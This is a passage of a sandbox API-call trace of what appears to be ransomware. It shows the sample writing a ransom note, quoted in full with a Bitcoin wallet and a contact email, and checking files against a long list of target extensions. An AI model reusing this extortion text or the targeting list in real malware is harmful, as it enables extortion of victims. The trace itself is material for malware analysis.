lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\HOW TO DECRYPT FILES.txt" [0165.402] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\how to decrypt files.txt")) returned 0xffffffff [0165.402] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.403] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.403] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.403] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.403] CloseHandle (hObject=0xffffffff) returned 0 [0165.403] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\", lpString2="aspnet_regiis.exe" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe" [0165.403] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.ems") returned 0 [0165.403] lstrlenA (lpString="*.ems") returned 5 [0165.403] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.db") returned 0 [0165.403] lstrlenA (lpString="*.db") returned 4 [0165.403] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.dbf") returned 0 [0165.403] lstrlenA (lpString="*.dbf") returned 5 [0165.403] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.myox") returned 0 [0165.403] lstrlenA (lpString="*.myox") returned 6 [0165.403] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.myo") returned 0 [0165.403] lstrlenA (lpString="*.myo") returned 5 [0165.403] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.qbw") returned 0 [0165.403] lstrlenA (lpString="*.qbw") returned 5 [0165.403] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.qbb") returned 0 [0165.404] lstrlenA (lpString="*.qbb") returned 5 [0165.404] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.qbm") returned 0 [0165.404] lstrlenA (lpString="*.qbm") returned 5 [0165.404] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.qbo") returned 0 [0165.404] lstrlenA (lpString="*.qbo") returned 5 [0165.404] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.qbx") returned 0 [0165.404] lstrlenA (lpString="*.qbx") returned 5 [0165.404] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.qba") returned 0 [0165.404] lstrlenA (lpString="*.qba") returned 5 [0165.404] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.qby") returned 0 [0165.404] lstrlenA (lpString="*.qby") returned 5 [0165.404] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.qbj") returned 0 [0165.404] lstrlenA (lpString="*.qbj") returned 5 [0165.404] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.ofx") returned 0 [0165.404] lstrlenA (lpString="*.ofx") returned 5 [0165.404] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.qif") returned 0 [0165.404] lstrlenA (lpString="*.qif") returned 5 [0165.404] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.mye") returned 0 [0165.404] lstrlenA (lpString="*.mye") returned 5 [0165.404] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.mbox") returned 0 [0165.404] lstrlenA (lpString="*.mbox") returned 6 [0165.404] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.eml") returned 0 [0165.404] lstrlenA (lpString="*.eml") returned 5 [0165.405] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.pst") returned 0 [0165.405] lstrlenA (lpString="*.pst") returned 5 [0165.405] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.ost") returned 0 [0165.405] lstrlenA (lpString="*.ost") returned 5 [0165.405] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.idx") returned 0 [0165.405] lstrlenA (lpString="*.idx") returned 5 [0165.405] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.dbx") returned 0 [0165.405] lstrlenA (lpString="*.dbx") returned 5 [0165.405] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.sql") returned 0 [0165.405] lstrlenA (lpString="*.sql") returned 5 [0165.405] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.mdb") returned 0 [0165.405] lstrlenA (lpString="*.mdb") returned 5 [0165.405] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.fdb") returned 0 [0165.405] lstrlenA (lpString="*.fdb") returned 5 [0165.405] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.wab") returned 0 [0165.405] lstrlenA (lpString="*.wab") returned 5 [0165.405] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.dat") returned 0 [0165.405] lstrlenA (lpString="*.dat") returned 5 [0165.405] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.txt") returned 0 [0165.405] lstrlenA (lpString="*.txt") returned 5 [0165.405] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.jpeg") returned 0 [0165.405] lstrlenA (lpString="*.jpeg") returned 6 [0165.405] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.jpg") returned 0 [0165.405] lstrlenA (lpString="*.jpg") returned 5 [0165.405] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.png") returned 0 [0165.406] lstrlenA (lpString="*.png") returned 5 [0165.406] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.php") returned 0 [0165.406] lstrlenA (lpString="*.php") returned 5 [0165.406] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.cs") returned 0 [0165.406] lstrlenA (lpString="*.cs") returned 4 [0165.406] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.cpp") returned 0 [0165.406] lstrlenA (lpString="*.cpp") returned 5 [0165.406] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.rar") returned 0 [0165.406] lstrlenA (lpString="*.rar") returned 5 [0165.406] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.zip") returned 0 [0165.406] lstrlenA (lpString="*.zip") returned 5 [0165.406] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.html") returned 0 [0165.406] lstrlenA (lpString="*.html") returned 6 [0165.406] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.htm") returned 0 [0165.406] lstrlenA (lpString="*.htm") returned 5 [0165.406] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.xlsx") returned 0 [0165.406] lstrlenA (lpString="*.xlsx") returned 6 [0165.406] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.xls") returned 0 [0165.406] lstrlenA (lpString="*.xls") returned 5 [0165.406] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.mp4") returned 0 [0165.406] lstrlenA (lpString="*.mp4") returned 5 [0165.406] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.ppt") returned 0 [0165.406] lstrlenA (lpString="*.ppt") returned 5 [0165.406] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.pptx") returned 0 [0165.406] lstrlenA (lpString="*.pptx") returned 6 [0165.407] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.doc") returned 0 [0165.407] lstrlenA (lpString="*.doc") returned 5 [0165.407] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.dot") returned 0 [0165.407] lstrlenA (lpString="*.dot") returned 5 [0165.407] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.docx") returned 0 [0165.407] lstrlenA (lpString="*.docx") returned 6 [0165.407] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.7z") returned 0 [0165.407] lstrlenA (lpString="*.7z") returned 4 [0165.407] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.tar") returned 0 [0165.407] lstrlenA (lpString="*.tar") returned 5 [0165.407] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.bz2") returned 0 [0165.407] lstrlenA (lpString="*.bz2") returned 5 [0165.407] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.gz") returned 0 [0165.407] lstrlenA (lpString="*.gz") returned 4 [0165.407] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.mkv") returned 0 [0165.407] lstrlenA (lpString="*.mkv") returned 5 [0165.407] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.eml") returned 0 [0165.407] lstrlenA (lpString="*.eml") returned 5 [0165.407] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.msg") returned 0 [0165.407] lstrlenA (lpString="*.msg") returned 5 [0165.407] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.edb") returned 0 [0165.407] lstrlenA (lpString="*.edb") returned 5 [0165.407] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.accdb") returned 0 [0165.407] lstrlenA (lpString="*.accdb") returned 7 [0165.407] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.odb") returned 0 [0165.407] lstrlenA (lpString="*.odb") returned 5 [0165.408] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.java") returned 0 [0165.408] lstrlenA (lpString="*.java") returned 6 [0165.408] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.asm") returned 0 [0165.408] lstrlenA (lpString="*.asm") returned 5 [0165.408] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.pfx") returned 0 [0165.408] lstrlenA (lpString="*.pfx") returned 5 [0165.408] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.pem") returned 0 [0165.408] lstrlenA (lpString="*.pem") returned 5 [0165.408] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.p12") returned 0 [0165.408] lstrlenA (lpString="*.p12") returned 5 [0165.408] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.gpg") returned 0 [0165.408] lstrlenA (lpString="*.gpg") returned 5 [0165.408] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.vsd") returned 0 [0165.408] lstrlenA (lpString="*.vsd") returned 5 [0165.408] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.odg") returned 0 [0165.408] lstrlenA (lpString="*.odg") returned 5 [0165.408] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.raw") returned 0 [0165.408] lstrlenA (lpString="*.raw") returned 5 [0165.408] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.nef") returned 0 [0165.408] lstrlenA (lpString="*.nef") returned 5 [0165.408] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.svg") returned 0 [0165.408] lstrlenA (lpString="*.svg") returned 5 [0165.408] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.psd") returned 0 [0165.408] lstrlenA (lpString="*.psd") returned 5 [0165.408] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.vmx") returned 0 [0165.408] lstrlenA (lpString="*.vmx") returned 5 [0165.409] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.vmdk") returned 0 [0165.409] lstrlenA (lpString="*.vmdk") returned 6 [0165.409] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.vdi") returned 0 [0165.409] lstrlenA (lpString="*.vdi") returned 5 [0165.409] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.lay6") returned 0 [0165.409] lstrlenA (lpString="*.lay6") returned 6 [0165.409] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.mpeg") returned 0 [0165.409] lstrlenA (lpString="*.mpeg") returned 6 [0165.409] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.djvu") returned 0 [0165.409] lstrlenA (lpString="*.djvu") returned 6 [0165.409] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.tiff") returned 0 [0165.409] lstrlenA (lpString="*.tiff") returned 6 [0165.409] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.backup") returned 0 [0165.409] lstrlenA (lpString="*.backup") returned 8 [0165.409] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.pdf") returned 0 [0165.410] lstrlenA (lpString="*.pdf") returned 5 [0165.410] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.cert") returned 0 [0165.410] lstrlenA (lpString="*.cert") returned 6 [0165.410] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.docm") returned 0 [0165.410] lstrlenA (lpString="*.docm") returned 6 [0165.410] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.xlsm") returned 0 [0165.410] lstrlenA (lpString="*.xlsm") returned 6 [0165.410] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.dwg") returned 0 [0165.410] lstrlenA (lpString="*.dwg") returned 5 [0165.410] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.nd") returned 0 [0165.410] lstrlenA (lpString="*.nd") returned 4 [0165.410] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.tlg") returned 0 [0165.410] lstrlenA (lpString="*.tlg") returned 5 [0165.410] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.lgb") returned 0 [0165.410] lstrlenA (lpString="*.lgb") returned 5 [0165.410] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.mov") returned 0 [0165.410] lstrlenA (lpString="*.mov") returned 5 [0165.410] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.xdw") returned 0 [0165.410] lstrlenA (lpString="*.xdw") returned 5 [0165.410] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regiis_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_9f01d3f4c9ca5275\\aspnet_regiis.exe", pszSpec="*.ods") returned 0 [0165.410] lstrlenA (lpString="*.ods") returned 5 [0165.410] PathMatchSpecA 